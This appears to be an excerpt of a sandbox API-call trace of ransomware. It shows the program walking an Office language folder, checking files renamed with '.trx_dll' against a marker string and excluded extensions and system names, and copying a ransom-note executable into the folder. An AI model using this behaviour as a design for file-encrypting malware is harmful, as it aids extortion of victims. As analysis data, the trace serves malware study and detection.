	[0039.607] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="OUTLWVW.DLL.trx_dll" | out: lpString1="OUTLWVW.DLL.trx_dll") returned="OUTLWVW.DLL.trx_dll"
	[0039.607] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0039.607] lstrlenW (lpString="Apollon865") returned 10
	[0039.607] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.607] lstrlenW (lpString=".dll") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.607] lstrlenW (lpString=".lnk") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.607] lstrlenW (lpString=".ini") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.607] lstrlenW (lpString=".sys") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.607] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0039.608] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PPINTL.DLL.trx_dll" | out: lpString1="PPINTL.DLL.trx_dll") returned="PPINTL.DLL.trx_dll"
	[0039.608] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0039.608] lstrlenW (lpString="Apollon865") returned 10
	[0039.608] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.608] lstrlenW (lpString=".dll") returned 4
	[0039.608] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.608] lstrlenW (lpString=".lnk") returned 4
	[0039.608] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.608] lstrlenW (lpString=".ini") returned 4
	[0039.608] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.608] lstrlenW (lpString=".sys") returned 4
	[0039.608] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.608] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0039.608] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PPINTL.REST.trx_dll" | out: lpString1="PPINTL.REST.trx_dll") returned="PPINTL.REST.trx_dll"
	[0039.608] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0039.608] lstrlenW (lpString="Apollon865") returned 10
	[0039.608] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.608] lstrlenW (lpString=".dll") returned 4
	[0039.608] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.608] lstrlenW (lpString=".lnk") returned 4
	[0039.608] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.608] lstrlenW (lpString=".ini") returned 4
	[0039.608] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.608] lstrlenW (lpString=".sys") returned 4
	[0039.608] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.608] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0039.608] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PUB6INTL.DLL.trx_dll" | out: lpString1="PUB6INTL.DLL.trx_dll") returned="PUB6INTL.DLL.trx_dll"
	[0039.608] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0039.608] lstrlenW (lpString="Apollon865") returned 10
	[0039.608] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.608] lstrlenW (lpString=".dll") returned 4
	[0039.608] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.608] lstrlenW (lpString=".lnk") returned 4
	[0039.608] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.609] lstrlenW (lpString=".ini") returned 4
	[0039.609] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.609] lstrlenW (lpString=".sys") returned 4
	[0039.609] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.609] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0039.609] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PUB6INTL.REST.trx_dll" | out: lpString1="PUB6INTL.REST.trx_dll") returned="PUB6INTL.REST.trx_dll"
	[0039.609] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0039.609] lstrlenW (lpString="Apollon865") returned 10
	[0039.609] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.609] lstrlenW (lpString=".dll") returned 4
	[0039.609] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.609] lstrlenW (lpString=".lnk") returned 4
	[0039.609] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.609] lstrlenW (lpString=".ini") returned 4
	[0039.609] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.609] lstrlenW (lpString=".sys") returned 4
	[0039.609] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.609] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0039.609] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PUBWZINT.REST.trx_dll" | out: lpString1="PUBWZINT.REST.trx_dll") returned="PUBWZINT.REST.trx_dll"
	[0039.609] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0039.609] lstrlenW (lpString="Apollon865") returned 10
	[0039.609] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.609] lstrlenW (lpString=".dll") returned 4
	[0039.609] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".dll") returned 1
	[0039.609] lstrlenW (lpString=".lnk") returned 4
	[0039.609] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.609] lstrlenW (lpString=".ini") returned 4
	[0039.609] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".ini") returned 1
	[0039.609] lstrlenW (lpString=".sys") returned 4
	[0039.609] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".sys") returned 1
	[0039.609] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0039.610] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="SGRES.DLL.trx_dll" | out: lpString1="SGRES.DLL.trx_dll") returned="SGRES.DLL.trx_dll"
	[0039.610] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0039.610] lstrlenW (lpString="Apollon865") returned 10
	[0039.610] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.610] lstrlenW (lpString=".dll") returned 4
	[0039.610] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.610] lstrlenW (lpString=".lnk") returned 4
	[0039.610] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.610] lstrlenW (lpString=".ini") returned 4
	[0039.610] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.610] lstrlenW (lpString=".sys") returned 4
	[0039.610] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.610] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0039.610] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="STINTL.DLL.trx_dll" | out: lpString1="STINTL.DLL.trx_dll") returned="STINTL.DLL.trx_dll"
	[0039.610] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0039.610] lstrlenW (lpString="Apollon865") returned 10
	[0039.610] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.610] lstrlenW (lpString=".dll") returned 4
	[0039.610] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.610] lstrlenW (lpString=".lnk") returned 4
	[0039.610] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.610] lstrlenW (lpString=".ini") returned 4
	[0039.610] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.610] lstrlenW (lpString=".sys") returned 4
	[0039.610] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.610] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0039.610] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="VISBRRES.DLL.trx_dll" | out: lpString1="VISBRRES.DLL.trx_dll") returned="VISBRRES.DLL.trx_dll"
	[0039.610] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0039.610] lstrlenW (lpString="Apollon865") returned 10
	[0039.610] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.610] lstrlenW (lpString=".dll") returned 4
	[0039.610] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.610] lstrlenW (lpString=".lnk") returned 4
	[0039.611] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.611] lstrlenW (lpString=".ini") returned 4
	[0039.611] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.611] lstrlenW (lpString=".sys") returned 4
	[0039.611] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.611] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0039.611] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="VISINTL.DLL.trx_dll" | out: lpString1="VISINTL.DLL.trx_dll") returned="VISINTL.DLL.trx_dll"
	[0039.611] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0039.611] lstrlenW (lpString="Apollon865") returned 10
	[0039.611] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.611] lstrlenW (lpString=".dll") returned 4
	[0039.611] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.611] lstrlenW (lpString=".lnk") returned 4
	[0039.611] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.611] lstrlenW (lpString=".ini") returned 4
	[0039.611] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.611] lstrlenW (lpString=".sys") returned 4
	[0039.611] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.611] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0039.611] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="WWINTL.DLL.trx_dll" | out: lpString1="WWINTL.DLL.trx_dll") returned="WWINTL.DLL.trx_dll"
	[0039.611] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0039.611] lstrlenW (lpString="Apollon865") returned 10
	[0039.611] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.611] lstrlenW (lpString=".dll") returned 4
	[0039.611] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.611] lstrlenW (lpString=".lnk") returned 4
	[0039.611] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.611] lstrlenW (lpString=".ini") returned 4
	[0039.611] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.611] lstrlenW (lpString=".sys") returned 4
	[0039.611] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.611] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0039.611] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="WWINTL.REST.trx_dll" | out: lpString1="WWINTL.REST.trx_dll") returned="WWINTL.REST.trx_dll"
	[0039.612] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0039.612] lstrlenW (lpString="Apollon865") returned 10
	[0039.612] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.612] lstrlenW (lpString=".dll") returned 4
	[0039.612] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.612] lstrlenW (lpString=".lnk") returned 4
	[0039.612] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.612] lstrlenW (lpString=".ini") returned 4
	[0039.612] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.612] lstrlenW (lpString=".sys") returned 4
	[0039.612] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.612] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0039.612] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="XLINTL32.DLL.trx_dll" | out: lpString1="XLINTL32.DLL.trx_dll") returned="XLINTL32.DLL.trx_dll"
	[0039.613] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0039.613] lstrlenW (lpString="Apollon865") returned 10
	[0039.613] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.613] lstrlenW (lpString=".dll") returned 4
	[0039.613] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.613] lstrlenW (lpString=".lnk") returned 4
	[0039.613] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.613] lstrlenW (lpString=".ini") returned 4
	[0039.613] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.613] lstrlenW (lpString=".sys") returned 4
	[0039.613] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.613] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0039.613] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="XLINTL32.REST.trx_dll" | out: lpString1="XLINTL32.REST.trx_dll") returned="XLINTL32.REST.trx_dll"
	[0039.613] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0039.613] lstrlenW (lpString="Apollon865") returned 10
	[0039.613] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.613] lstrlenW (lpString=".dll") returned 4
	[0039.613] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0039.613] lstrlenW (lpString=".lnk") returned 4
	[0039.613] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.613] lstrlenW (lpString=".ini") returned 4
	[0039.613] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0039.614] lstrlenW (lpString=".sys") returned 4
	[0039.614] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0039.614] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0039.614] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="XLSLICER.DLL.trx_dll" | out: lpString1="XLSLICER.DLL.trx_dll") returned="XLSLICER.DLL.trx_dll"
	[0039.614] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0039.614] lstrlenW (lpString="Apollon865") returned 10
	[0039.614] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.614] lstrlenW (lpString=".dll") returned 4
	[0039.614] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.614] lstrlenW (lpString=".lnk") returned 4
	[0039.614] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.614] lstrlenW (lpString=".ini") returned 4
	[0039.614] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.614] lstrlenW (lpString=".sys") returned 4
	[0039.614] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.614] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0039.614] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036"
	[0039.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0039.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0039.614] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned 51
	[0039.614] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036"
	[0039.614] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.620] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.620] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb93c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.620] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.620] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.620] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.621] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb93c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.622] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.622] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.622] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.622] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.622] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".") returned 1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="..") returned 1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="windows") returned -1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="temp") returned -1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="boot") returned 1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0039.622] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0039.622] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned 53
	[0039.622] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="ENVELOPR.DLL.trx_dll" | out: lpString1="ENVELOPR.DLL.trx_dll") returned="ENVELOPR.DLL.trx_dll"
	[0039.622] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0039.622] lstrlenW (lpString="Apollon865") returned 10
	[0039.622] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.622] lstrlenW (lpString=".dll") returned 4
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.622] lstrlenW (lpString=".lnk") returned 4
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.622] lstrlenW (lpString=".ini") returned 4
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.622] lstrlenW (lpString=".sys") returned 4
	[0039.622] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.622] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0039.623] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="GRINTL32.DLL.trx_dll" | out: lpString1="GRINTL32.DLL.trx_dll") returned="GRINTL32.DLL.trx_dll"
	[0039.623] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0039.623] lstrlenW (lpString="Apollon865") returned 10
	[0039.623] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.623] lstrlenW (lpString=".dll") returned 4
	[0039.623] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.623] lstrlenW (lpString=".lnk") returned 4
	[0039.623] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.623] lstrlenW (lpString=".ini") returned 4
	[0039.623] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.623] lstrlenW (lpString=".sys") returned 4
	[0039.623] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.623] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0039.623] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="GRINTL32.REST.trx_dll" | out: lpString1="GRINTL32.REST.trx_dll") returned="GRINTL32.REST.trx_dll"
	[0039.623] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0039.623] lstrlenW (lpString="Apollon865") returned 10
	[0039.623] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.623] lstrlenW (lpString=".dll") returned 4
	[0039.623] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0039.623] lstrlenW (lpString=".lnk") returned 4
	[0039.623] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.623] lstrlenW (lpString=".ini") returned 4
	[0039.623] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0039.623] lstrlenW (lpString=".sys") returned 4
	[0039.623] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0039.623] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0039.623] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MAPIR.DLL.trx_dll" | out: lpString1="MAPIR.DLL.trx_dll") returned="MAPIR.DLL.trx_dll"
	[0039.623] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0039.623] lstrlenW (lpString="Apollon865") returned 10
	[0039.623] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.623] lstrlenW (lpString=".dll") returned 4
	[0039.623] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.624] lstrlenW (lpString=".lnk") returned 4
	[0039.624] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.624] lstrlenW (lpString=".ini") returned 4
	[0039.624] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.624] lstrlenW (lpString=".sys") returned 4
	[0039.624] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.624] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0039.624] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MOR6INT.REST.trx_dll" | out: lpString1="MOR6INT.REST.trx_dll") returned="MOR6INT.REST.trx_dll"
	[0039.624] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0039.624] lstrlenW (lpString="Apollon865") returned 10
	[0039.624] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.624] lstrlenW (lpString=".dll") returned 4
	[0039.624] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".dll") returned 1
	[0039.624] lstrlenW (lpString=".lnk") returned 4
	[0039.624] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.624] lstrlenW (lpString=".ini") returned 4
	[0039.624] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".ini") returned 1
	[0039.624] lstrlenW (lpString=".sys") returned 4
	[0039.624] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".sys") returned 1
	[0039.624] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0039.624] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MSOINTL.DLL.trx_dll" | out: lpString1="MSOINTL.DLL.trx_dll") returned="MSOINTL.DLL.trx_dll"
	[0039.624] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0039.624] lstrlenW (lpString="Apollon865") returned 10
	[0039.624] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.624] lstrlenW (lpString=".dll") returned 4
	[0039.624] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.624] lstrlenW (lpString=".lnk") returned 4
	[0039.624] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.624] lstrlenW (lpString=".ini") returned 4
	[0039.624] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.624] lstrlenW (lpString=".sys") returned 4
	[0039.624] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.624] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
